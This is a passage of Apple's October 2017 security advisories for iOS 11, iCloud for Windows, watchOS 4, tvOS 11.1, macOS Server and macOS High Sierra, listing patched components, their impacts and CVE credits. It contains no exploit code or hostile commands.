iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13821: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 CoreAudio Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: An out-of-bounds read was addressed by updating to Opus version 1.1.4. CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend Micro CoreText Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-13825: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 Exchange ActiveSync Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to erase a device during Exchange account setup Description: A validation issue existed in AutoDiscover V1. This was addressed by requiring TLS for AutoDiscover V1. AutoDiscover V2 is now supported. CVE-2017-7088: Ilya Nesterov, Maxim Goncharov file Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Multiple issues in file Description: Multiple issues were addressed by updating to version 5.31. CVE-2017-13815 Entry added October 31, 2017 Fonts Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Rendering untrusted text may lead to spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2017-13828: an anonymous researcher Entry added October 31, 2017 Heimdal Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker in a privileged network position may be able to impersonate a service Description: A validation issue existed in the handling of the KDC-REP service name. This issue was addressed through improved validation. CVE-2017-11103: Jeffrey Altman, Viktor Duchovni, and Nico Williams HFS Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum Entry added October 31, 2017 iBooks Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Parsing a maliciously crafted iBooks file may lead to a persistent denial-of-service Description: Multiple denial of service issues were addressed through improved memory handling. CVE-2017-7072: Jędrzej Krysztofiak ImageIO Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted image may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved input validation. CVE-2017-13814: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 ImageIO Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted image may lead to a denial of service Description: An information disclosure issue existed in the processing of disk images. This issue was addressed through improved memory management. CVE-2017-13831: an anonymous researcher Entry added October 31, 2017 Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7114: Alex Plaskett of MWR InfoSecurity Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A local user may be able to read kernel memory Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-2017-13817: Maxime Villard (m00nbsd) Entry added October 31, 2017 Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13818: The UK's National Cyber Security Centre (NCSC) CVE-2017-13836: an anonymous researcher, an anonymous researcher CVE-2017-13841: an anonymous researcher CVE-2017-13840: an anonymous researcher CVE-2017-13842: an anonymous researcher CVE-2017-13782: Kevin Backhouse of Semmle Ltd. Entry added October 31, 2017 Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13843: an anonymous researcher Entry added October 31, 2017 Kernel Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a malformed mach binary may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved validation. CVE-2017-13834: Maxime Villard (m00nbsd) Entry added October 31, 2017 Keyboard Suggestions Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Keyboard autocorrect suggestions may reveal sensitive information Description: The iOS keyboard was inadvertently caching sensitive information. This issue was addressed with improved heuristics. CVE-2017-7140: an anonymous researcher libarchive Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Unpacking a maliciously crafted archive may lead to arbitrary code execution Description: A buffer overflow issue was addressed through improved memory handling. CVE-2017-13813: found by OSS-Fuzz CVE-2017-13816: found by OSS-Fuzz Entry added October 31, 2017 libarchive Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Unpacking a maliciously crafted archive may lead to arbitrary code execution Description: Multiple memory corruption issues existed in libarchive. These issues were addressed through improved input validation. CVE-2017-13812: found by OSS-Fuzz Entry added October 31, 2017 libc Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A remote attacker may be able to cause a denial-of-service Description: A resource exhaustion issue in glob() was addressed through an improved algorithm. CVE-2017-7086: Russ Cox of Google libc Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to cause a denial of service Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-1000373 libexpat Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Multiple issues in expat Description: Multiple issues were addressed by updating to version 2.2.1 CVE-2016-9063 CVE-2017-9233 Location Framework Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read sensitive location information Description: A permissions issue existed in the handling of the location variable. This was addressed with additional ownership checks. CVE-2017-7148: an anonymous researcher, an anonymous researcher Mail Drafts Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker with a privileged network position may be able to intercept mail contents Description: An encryption issue existed in the handling of mail drafts. This issue was addressed with improved handling of mail drafts meant to be sent encrypted. CVE-2017-7078: an anonymous researcher, an anonymous researcher, an anonymous researcher Mail MessageUI Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted image may lead to a denial of service Description: A memory corruption issue was addressed with improved validation. CVE-2017-7097: Xinshu Dong and Jun Hao Tan of Anquan Capital Messages Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing a maliciously crafted image may lead to a denial of service Description: A denial of service issue was addressed through improved validation. CVE-2017-7118: Kiki Jiang and Jason Tokoph MobileBackup Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Backup may perform an unencrypted backup despite a requirement to perform only encrypted backups Description: A permissions issue existed. This issue was addressed with improved permission validation. CVE-2017-7133: Don Sparks of HackediOS.com Phone Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A screenshot of secure content may be taken when locking an iOS device Description: A timing issue existed in the handling of locking. This issue was addressed by disabling screenshots while locking. CVE-2017-7139: an anonymous researcher Quick Look Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13822: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 Quick Look Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Parsing a maliciously crafted office document may lead to an unexpected application termination or arbitrary code execution Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-7132: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 Safari Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2017-7085: xisigr of Tencent's Xuanwu Lab (tencent.com) Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A revoked certificate may be trusted Description: A certificate validation issue existed in the handling of revocation data. This issue was addressed through improved validation. CVE-2017-7080: an anonymous researcher, an anonymous researcher, Sven Driemecker of adesso mobile solutions gmbh, Rune Darrud (@theflyingcorpse) of Bærum kommune Security Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious app may be able to track users between installs Description: A permission checking issue existed in the handling of an app's Keychain data. This issue was addressed with improved permission checking. CVE-2017-7146: an anonymous researcher SQLite Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Multiple issues in SQLite Description: Multiple issues were addressed by updating to version 3.19.3. CVE-2017-10989: found by OSS-Fuzz CVE-2017-7128: found by OSS-Fuzz CVE-2017-7129: found by OSS-Fuzz CVE-2017-7130: found by OSS-Fuzz SQLite Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7127: an anonymous researcher Time Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: "Setting Time Zone" may incorrectly indicate that it is using location Description: A permissions issue existed in the process that handles time zone information. The issue was resolved by modifying permissions. CVE-2017-7145: an anonymous researcher WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved input validation. CVE-2017-7081: Apple WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2017-7087: Apple CVE-2017-7091: Wei Yuan of Baidu Security Lab working with Trend Micro's Zero Day Initiative CVE-2017-7092: Samuel Gro and Niklas Baumstark working with Trend Micro's Zero Day Initiative, Qixun Zhao (@S0rryMybad) of Qihoo 360 Vulcan Team CVE-2017-7093: Samuel Gro and Niklas Baumstark working with Trend Micro's Zero Day Initiative CVE-2017-7094: Tim Michaud (@TimGMichaud) of Leviathan Security Group CVE-2017-7095: Wang Junjie, Wei Lei, and Liu Yang of Nanyang Technological University working with Trend Micro's Zero Day Initiative CVE-2017-7096: Wei Yuan of Baidu Security Lab CVE-2017-7098: Felipe Freitas of Instituto Tecnológico de Aeronáutica CVE-2017-7099: Apple CVE-2017-7100: Masato Kinugawa and Mario Heiderich of Cure53 CVE-2017-7102: Wang Junjie, Wei Lei, and Liu Yang of Nanyang Technological University CVE-2017-7104: likemeng of Baidu Secutity Lab CVE-2017-7107: Wang Junjie, Wei Lei, and Liu Yang of Nanyang Technological University CVE-2017-7111: likemeng of Baidu Security Lab (xlab.baidu.com) working with Trend Micro's Zero Day Initiative CVE-2017-7117: lokihardt of Google Project Zero CVE-2017-7120: chenqin (陈钦) of Ant-financial Light-Year Security Lab WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to universal cross site scripting Description: A logic issue existed in the handling of the parent-tab. This issue was addressed with improved state management. CVE-2017-7089: Anton Lopanitsyn of ONSEC, Frans Rosén of Detectify WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Cookies belonging to one origin may be sent to another origin Description: A permissions issue existed in the handling of web browser cookies. This issue was addressed by no longer returning cookies for custom URL schemes. CVE-2017-7090: Apple WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Visiting a malicious website may lead to address bar spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2017-7106: Oliver Paukstadt of Thinking Objects GmbH (to.com) WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Processing maliciously crafted web content may lead to a cross site scripting attack Description: Application Cache policy may be unexpectedly applied. CVE-2017-7109: avlidienbrunn WebKit Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: A malicious website may be able to track users in Safari private browsing mode Description: A permissions issue existed in the handling of web browser cookies. This issue was addressed with improved restrictions. CVE-2017-7144: an anonymous researcher Wi-Fi Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: An attacker within range may be able to execute arbitrary code on the Wi-Fi chip Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-11120: Gal Beniamini of Google Project Zero CVE-2017-11121: Gal Beniamini of Google Project Zero Wi-Fi Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Malicious code executing on the Wi-Fi chip may be able to execute arbitrary code with kernel privileges on the application processor Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7103: Gal Beniamini of Google Project Zero CVE-2017-7105: Gal Beniamini of Google Project Zero CVE-2017-7108: Gal Beniamini of Google Project Zero CVE-2017-7110: Gal Beniamini of Google Project Zero CVE-2017-7112: Gal Beniamini of Google Project Zero Wi-Fi Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Malicious code executing on the Wi-Fi chip may be able to execute arbitrary code with kernel privileges on the application processor Description: Multiple race conditions were addressed through improved validation. CVE-2017-7115: Gal Beniamini of Google Project Zero Wi-Fi Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Malicious code executing on the Wi-Fi chip may be able to read restricted kernel memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-7116: Gal Beniamini of Google Project Zero zlib Available for: iPhone 5s and later, iPad Air and later, and iPod touch 6th generation Impact: Multiple issues in zlib Description: Multiple issues were addressed by updating to version 1.2.11. CVE-2016-9840 CVE-2016-9841 CVE-2016-9842 CVE-2016-9843 Installation note: This update is available through iTunes and Software Update on your iOS device, and will not appear in your computer's Software Update application, or in the Apple Downloads site. Make sure you have an Internet connection and have installed the latest version of iTunes from https://www.apple.com/itunes/ iTunes and Software Update on the device will automatically check Apple's update server on its weekly schedule. When an update is detected, it is downloaded and the option to be installed is presented to the user when the iOS device is docked. We recommend applying the update immediately if possible. Selecting Don't Install will present the option the next time you connect your iOS device. The automatic update process may take up to a week depending on the day that iTunes or the device checks for updates. You may manually obtain the update via the Check for Updates button within iTunes, or the Software Update on your device. To check that the iPhone, iPod touch, or iPad has been updated: * Navigate to Settings * Select General * Select About. The version after applying this update will be "11". Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

APPLE-SA-2017-10-31-7 iCloud for Windows 7.1

APPLE-SA-2017-10-31-7 iCloud for Windows 7.1 iCloud for Windows 7.1 is now available and addresses the following: WebKit Available for: Windows 7 and later Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2017-13785: Ivan Fratric of Google Project Zero CVE-2017-13784: Ivan Fratric of Google Project Zero CVE-2017-13783: Ivan Fratric of Google Project Zero CVE-2017-13788: xisigr of Tencent's Xuanwu Lab (tencent.com) CVE-2017-13798: Ivan Fratric of Google Project Zero CVE-2017-13795: Ivan Fratric of Google Project Zero CVE-2017-13802: Ivan Fratric of Google Project Zero CVE-2017-13792: Ivan Fratric of Google Project Zero CVE-2017-13794: Ivan Fratric of Google Project Zero CVE-2017-13791: Ivan Fratric of Google Project Zero CVE-2017-13796: Ivan Fratric of Google Project Zero CVE-2017-13793: Hanul Choi working with Trend Micro's Zero Day Initiative CVE-2017-13803: chenqin (陈钦) of Ant-financial Light-Year Security Installation note: iCloud for Windows 7.1 may be obtained from: https://support.apple.com/HT204283 Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

APPLE-SA-2017-10-31-10 Additional information for APPLE-SA-2017-09-20-2 watchOS 4

APPLE-SA-2017-10-31-10 Additional information for APPLE-SA-2017-09-20-2 watchOS 4 watchOS 4 addresses the following: 802.1X Available for: All Apple Watch models Impact: An attacker may be able to exploit weaknesses in TLS 1.0 Description: A protocol security issue was addressed by enabling TLS 1.1 and TLS 1.2. CVE-2017-13832: an anonymous researcher Entry added October 31, 2017 CFNetwork Proxies Available for: All Apple Watch models Impact: An attacker in a privileged network position may be able to cause a denial of service Description: Multiple denial of service issues were addressed through improved memory handling. CVE-2017-7083: Abhinav Bansal of Zscaler Inc. CFString Available for: All Apple Watch models Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13821: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 CoreAudio Available for: All Apple Watch models Impact: An application may be able to read restricted memory Description: An out-of-bounds read was addressed by updating to Opus version 1.1.4. CVE-2017-0381: V.E.O (@VYSEa) of Mobile Threat Research Team, Trend Micro CoreText Available for: All Apple Watch models Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-13825: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 file Available for: All Apple Watch models Impact: Multiple issues in file Description: Multiple issues were addressed by updating to version 5.31. CVE-2017-13815 Entry added October 31, 2017 Fonts Available for: All Apple Watch models Impact: Rendering untrusted text may lead to spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2017-13828: an anonymous researcher Entry added October 31, 2017 HFS Available for: All Apple Watch models Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum Entry added October 31, 2017 ImageIO Available for: All Apple Watch models Impact: Processing a maliciously crafted image may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved input validation. CVE-2017-13814: Australian Cyber Security Centre – Australian Signals Directorate Entry added October 31, 2017 ImageIO Available for: All Apple Watch models Impact: Processing a maliciously crafted image may lead to a denial of service Description: An information disclosure issue existed in the processing of disk images. This issue was addressed through improved memory management. CVE-2017-13831: an anonymous researcher Entry added October 31, 2017 Kernel Available for: All Apple Watch models Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7114: Alex Plaskett of MWR InfoSecurity Kernel Available for: All Apple Watch models Impact: A local user may be able to read kernel memory Description: An out-of-bounds read issue existed that led to the disclosure of kernel memory. This was addressed through improved input validation. CVE-2017-13817: Maxime Villard (m00nbsd) Entry added October 31, 2017 Kernel Available for: All Apple Watch models Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13818: The UK's National Cyber Security Centre (NCSC) CVE-2017-13836: an anonymous researcher, an anonymous researcher CVE-2017-13841: an anonymous researcher CVE-2017-13840: an anonymous researcher CVE-2017-13842: an anonymous researcher CVE-2017-13782: Kevin Backhouse of Semmle Ltd. Entry added October 31, 2017 Kernel Available for: All Apple Watch models Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13843: an anonymous researcher Entry added October 31, 2017 Kernel Available for: All Apple Watch models Impact: Processing a malformed mach binary may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved validation. CVE-2017-13834: Maxime Villard (m00nbsd) Entry added October 31, 2017 libarchive Available for: All Apple Watch models Impact: Unpacking a maliciously crafted archive may lead to arbitrary code execution Description: A buffer overflow issue was addressed through improved memory handling. CVE-2017-13813: found by OSS-Fuzz CVE-2017-13816: found by OSS-Fuzz Entry added October 31, 2017 libarchive Available for: All Apple Watch models Impact: Unpacking a maliciously crafted archive may lead to arbitrary code execution Description: Multiple memory corruption issues existed in libarchive. These issues were addressed through improved input validation. CVE-2017-13812: found by OSS-Fuzz Entry added October 31, 2017 libc Available for: All Apple Watch models Impact: A remote attacker may be able to cause a denial-of-service Description: A resource exhaustion issue in glob() was addressed through an improved algorithm. CVE-2017-7086: Russ Cox of Google libc Available for: All Apple Watch models Impact: An application may be able to cause a denial of service Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-1000373 libexpat Available for: All Apple Watch models Impact: Multiple issues in expat Description: Multiple issues were addressed by updating to version 2.2.1 CVE-2016-9063 CVE-2017-9233 Security Available for: All Apple Watch models Impact: A revoked certificate may be trusted Description: A certificate validation issue existed in the handling of revocation data. This issue was addressed through improved validation. CVE-2017-7080: an anonymous researcher, Sven Driemecker of adesso mobile solutions gmbh, an anonymous researcher, Rune Darrud (@theflyingcorpse) of Bærum kommune SQLite Available for: All Apple Watch models Impact: Multiple issues in SQLite Description: Multiple issues were addressed by updating to version 3.19.3. CVE-2017-10989: found by OSS-Fuzz CVE-2017-7128: found by OSS-Fuzz CVE-2017-7129: found by OSS-Fuzz CVE-2017-7130: found by OSS-Fuzz SQLite Available for: All Apple Watch models Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7127: an anonymous researcher Wi-Fi Available for: All Apple Watch models Impact: Malicious code executing on the Wi-Fi chip may be able to execute arbitrary code with kernel privileges on the application processor Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-7103: Gal Beniamini of Google Project Zero CVE-2017-7105: Gal Beniamini of Google Project Zero CVE-2017-7108: Gal Beniamini of Google Project Zero CVE-2017-7110: Gal Beniamini of Google Project Zero CVE-2017-7112: Gal Beniamini of Google Project Zero Wi-Fi Available for: All Apple Watch models Impact: Malicious code executing on the Wi-Fi chip may be able to read restricted kernel memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-7116: Gal Beniamini of Google Project Zero zlib Available for: All Apple Watch models Impact: Multiple issues in zlib Description: Multiple issues were addressed by updating to version 1.2.11. CVE-2016-9840 CVE-2016-9841 CVE-2016-9842 CVE-2016-9843 Installation note: Instructions on how to update your Apple Watch software are available at https://support.apple.com/kb/HT204641 To check the version on your Apple Watch, open the Apple Watch app on your iPhone and select "My Watch > General > About". Alternatively, on your watch, select "My Watch > General > About". Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

APPLE-SA-2017-10-31-3 tvOS 11.1

APPLE-SA-2017-10-31-3 tvOS 11.1 tvOS 11.1 is now available and addresses the following: CoreText Available for: Apple TV 4K and Apple TV (4th generation) Impact: Processing a maliciously crafted text file may lead to an unexpected application termination Description: A denial of service issue was addressed through improved memory handling. CVE-2017-13849: Ro of SavSec Kernel Available for: Apple TV 4K and Apple TV (4th generation) Impact: An application may be able to execute arbitrary code with kernel privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13799: an anonymous researcher StreamingZip Available for: Apple TV 4K and Apple TV (4th generation) Impact: A malicious zip file may be able modify restricted areas of the file system Description: A path handling issue was addressed with improved validation. CVE-2017-13804: @qwertyoruiopz at KJC Research Intl. S.R.L. WebKit Available for: Apple TV 4K and Apple TV (4th generation) Impact: Processing maliciously crafted web content may lead to arbitrary code execution Description: Multiple memory corruption issues were addressed with improved memory handling. CVE-2017-13785: Ivan Fratric of Google Project Zero CVE-2017-13784: Ivan Fratric of Google Project Zero CVE-2017-13783: Ivan Fratric of Google Project Zero CVE-2017-13788: xisigr of Tencent's Xuanwu Lab (tencent.com) CVE-2017-13798: Ivan Fratric of Google Project Zero CVE-2017-13795: Ivan Fratric of Google Project Zero CVE-2017-13802: Ivan Fratric of Google Project Zero CVE-2017-13792: Ivan Fratric of Google Project Zero CVE-2017-13794: Ivan Fratric of Google Project Zero CVE-2017-13791: Ivan Fratric of Google Project Zero CVE-2017-13796: Ivan Fratric of Google Project Zero CVE-2017-13793: Hanul Choi working with Trend Micro's Zero Day Initiative CVE-2017-13803: chenqin (陈钦) of Ant-financial Light-Year Security Wi-Fi Available for: Apple TV 4K Impact: An attacker in Wi-Fi range may force nonce reuse in WPA clients (Key Reinstallation Attacks - KRACK) Description: A logic issue existed in the handling of state transitions. This was addressed with improved state management. CVE-2017-13080: Mathy Vanhoef of the imec-DistriNet group at KU Leuven Installation note: Apple TV will periodically check for software updates. Alternatively, you may manually check for software updates by selecting "Settings -> System -> Software Update -> Update Software." To check the current version of software, select "Settings -> General -> About." Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

APPLE-SA-2017-10-31-12 Additional information for APPLE-SA-2017-09-25-9 macOS Server 5.4

APPLE-SA-2017-10-31-12 Additional information for APPLE-SA-2017-09-25-9 macOS Server 5.4 macOS Server 5.4 addresses the following: FreeRadius Available for: macOS High Sierra 10.13 Impact: Multiple issues in FreeRADIUS Description: Multiple issues existed in FreeRADIUS before 2.2.10. These were addressed by updating FreeRADIUS to version 2.2.10. CVE-2017-10978 CVE-2017-10979 Postfix Available for: macOS High Sierra 10.13 Impact: Multiple issues in Postfix Description: Multiple issues were addressed by updating to version 3.2.2. CVE-2017-13826: an anonymous researcher Entry added October 31, 2017 Installation note: macOS Server 5.4 may be obtained from the Mac App Store. Information will also be posted to the Apple Security Updates web site: https://support.apple.com/kb/HT201222

APPLE-SA-2017-10-31-2 macOS High Sierra 10.13.1, Security Update 2017-001 Sierra, Security Update 2017-004 El Capitan

APPLE-SA-2017-10-31-2 macOS High Sierra 10.13.1, Security Update 2017-001 Sierra, Security Update 2017-004 El Capitan macOS High Sierra 10.13.1, Security Update 2017-001 Sierra, Security Update 2017-004 El Capitan are now available and address the following: 802.1X Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An attacker may be able to exploit weaknesses in TLS 1.0 Description: A protocol security issue was addressed by enabling TLS 1.1 and TLS 1.2. CVE-2017-13832: an anonymous researcher apache Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Multiple issues in Apache Description: Multiple issues were addressed by updating to version 2.4.27. CVE-2016-736 CVE-2016-2161 CVE-2016-5387 CVE-2016-8740 CVE-2016-8743 CVE-2017-3167 CVE-2017-3169 CVE-2017-7659 CVE-2017-7668 CVE-2017-7679 CVE-2017-9788 CVE-2017-9789 APFS Available for: macOS High Sierra 10.13 Impact: A malicious Thunderbolt adapter may be able to recover unencrypted APFS filesystem data Description: An issue existed in the handling of DMA. This issue was addressed by limiting the time the FileVault decryption buffers are DMA mapped to the duration of the I/O operation. CVE-2017-13786: an anonymous researcher APFS Available for: macOS High Sierra 10.13 Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13800: Sergej Schumilo of Ruhr-University Bochum AppleScript Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Decompiling an AppleScript with osadecompile may lead to arbitrary code execution Description: A validation issue was addressed with improved input sanitization. CVE-2017-13809: an anonymous researcher ATS Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Processing a maliciously crafted font may result in the disclosure of process memory Description: A memory corruption issue was addressed with improved input validation. CVE-2017-13820: John Villamil, Doyensec Audio Available for: macOS Sierra 10.12.6 Impact: Parsing a maliciously crafted QuickTime file may lead to an unexpected application termination or arbitrary code execution Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-13807: Yangkang (@dnpushme) of Qihoo 360 Qex Team CFString Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to read restricted memory Description: A validation issue was addressed with improved input sanitization. CVE-2017-13821: Australian Cyber Security Centre – Australian Signals Directorate CoreText Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Processing a maliciously crafted font file may lead to arbitrary code execution Description: A memory consumption issue was addressed through improved memory handling. CVE-2017-13825: Australian Cyber Security Centre – Australian Signals Directorate curl Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Uploading using TFTP to a maliciously crafted URL with libcurl may disclose application memory Description: An out-of-bounds read was addressed with improved bounds checking. CVE-2017-1000100: Even Rouault, found by OSS-Fuzz curl Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Processing a maliciously crafted URL with libcurl may cause unexpected application termination or read process memory Description: An out-of-bounds read was addressed with improved bounds checking. CVE-2017-1000101: Brian Carpenter, Yongji Ouyang Dictionary Widget Available for: macOS High Sierra 10.13, macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Searching pasted text in the Dictionary widget may lead to compromise of user information Description: A validation issue existed which allowed local file access. This was addressed with input sanitization. CVE-2017-13801: xisigr of Tencent's Xuanwu Lab (tencent.com) file Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Multiple issues in file Description: Multiple issues were addressed by updating to version 5.31. CVE-2017-13815 Fonts Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Rendering untrusted text may lead to spoofing Description: An inconsistent user interface issue was addressed with improved state management. CVE-2017-13828: an anonymous researcher fsck_msdos Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13811: an anonymous researcher Heimdal Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An attacker in a privileged network position may be able to impersonate a service Description: A validation issue existed in the handling of the KDC-REP service name. This issue was addressed through improved validation. CVE-2017-11103: Jeffrey Altman, Viktor Duchovni, and Nico Williams HelpViewer Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: A quarantined HTML file may execute arbitrary JavaScript cross-origin Description: A cross-site scripting issue existed in HelpViewer. This issue was addressed by removing the affected file. CVE-2017-13819: an anonymous researcher HFS Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: An application may be able to execute arbitrary code with system privileges Description: A memory corruption issue was addressed with improved memory handling. CVE-2017-13830: Sergej Schumilo of Ruhr-University Bochum ImageIO Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Processing a maliciously crafted image may lead to arbitrary code execution Description: A memory corruption issue was addressed through improved input validation. CVE-2017-13814: Australian Cyber Security Centre – Australian Signals Directorate ImageIO Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: Processing a maliciously crafted image may lead to a denial of service Description: An information disclosure issue existed in the processing of disk images. This issue was addressed through improved memory management. CVE-2017-13831: an anonymous researcher Kernel Available for: macOS Sierra 10.12.6, OS X El Capitan 10.11.6 Impact: A local user may be able to leak sensitive user information Description: A permissions issue existed in kernel packet counters. This issue was addressed through improved permission validation. CVE-2017-13810: an anonymous researcher Kernel Available for: macOS 